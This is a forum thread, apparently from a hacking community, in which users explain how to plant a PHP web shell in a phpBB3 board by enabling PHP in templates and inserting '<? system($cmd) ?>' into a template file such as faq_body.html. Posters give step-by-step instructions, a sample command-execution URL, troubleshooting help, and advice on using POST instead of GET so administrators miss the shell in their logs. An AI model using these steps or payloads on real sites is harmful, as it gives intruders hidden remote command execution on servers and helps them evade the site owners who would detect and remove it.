Admin panel-->Security settings Scroll down 'Allow php bla bla' put to ON.
Styles-->templates--->edit--->faq_blabla.html and put your code

<!-- PHP --> code <!-- ENDPHP -->

Then

c99 sucks.Only lamers use this shell.Learn to use some sample code.Like

<?php echo "$cmd" ?>
<? system($cmd) ?>

This code work much much beter than your c99 and a'm not write in my post to delete all faq_blabla.html code and put your code in there.

According to your tips,I also tested a whole day, or not achieve the desired results.Insert code has indeed been Analysis,But does not seem to include in the faq.php.Do not know what went wrong steps.
my steps:
1:Admin panel-->Security settings -->allow php templates (yes)
2:Styles-->templates--->edit--->faq_body.html and put code
<!-- PHP -->
<? system($cmd) ?>
<!-- END PHP -->
i don't delete faq_blabla.html code
3:visit http://*****.com/phpBB3/faq.php?cmd=ls
Such steps are wrong?

You know diference of method POST and GET?If admin looks in logs will see something like this GET phpBB3/faq.php?cmd=ls and your shell will be deleted.

GET OR POST to get shell influential?
The question now is the key to insert the normal implementation of the code
please forgive my ignorance, I will try to find some information to supplement knowledge!
As a novice, the only thing I can do is to
spend a lot of time and effort to understand the issue, thank you has been to my help!
if have a video ,I think I will progress faster Razz

If "register_globals" is off, then you must access $_GET or $_POST directly anyway!

Check the "}" are correct in the code. It seems there is one too many, or one out of place. If you have no idea what I'm talking about then post the code here and I will fix it.
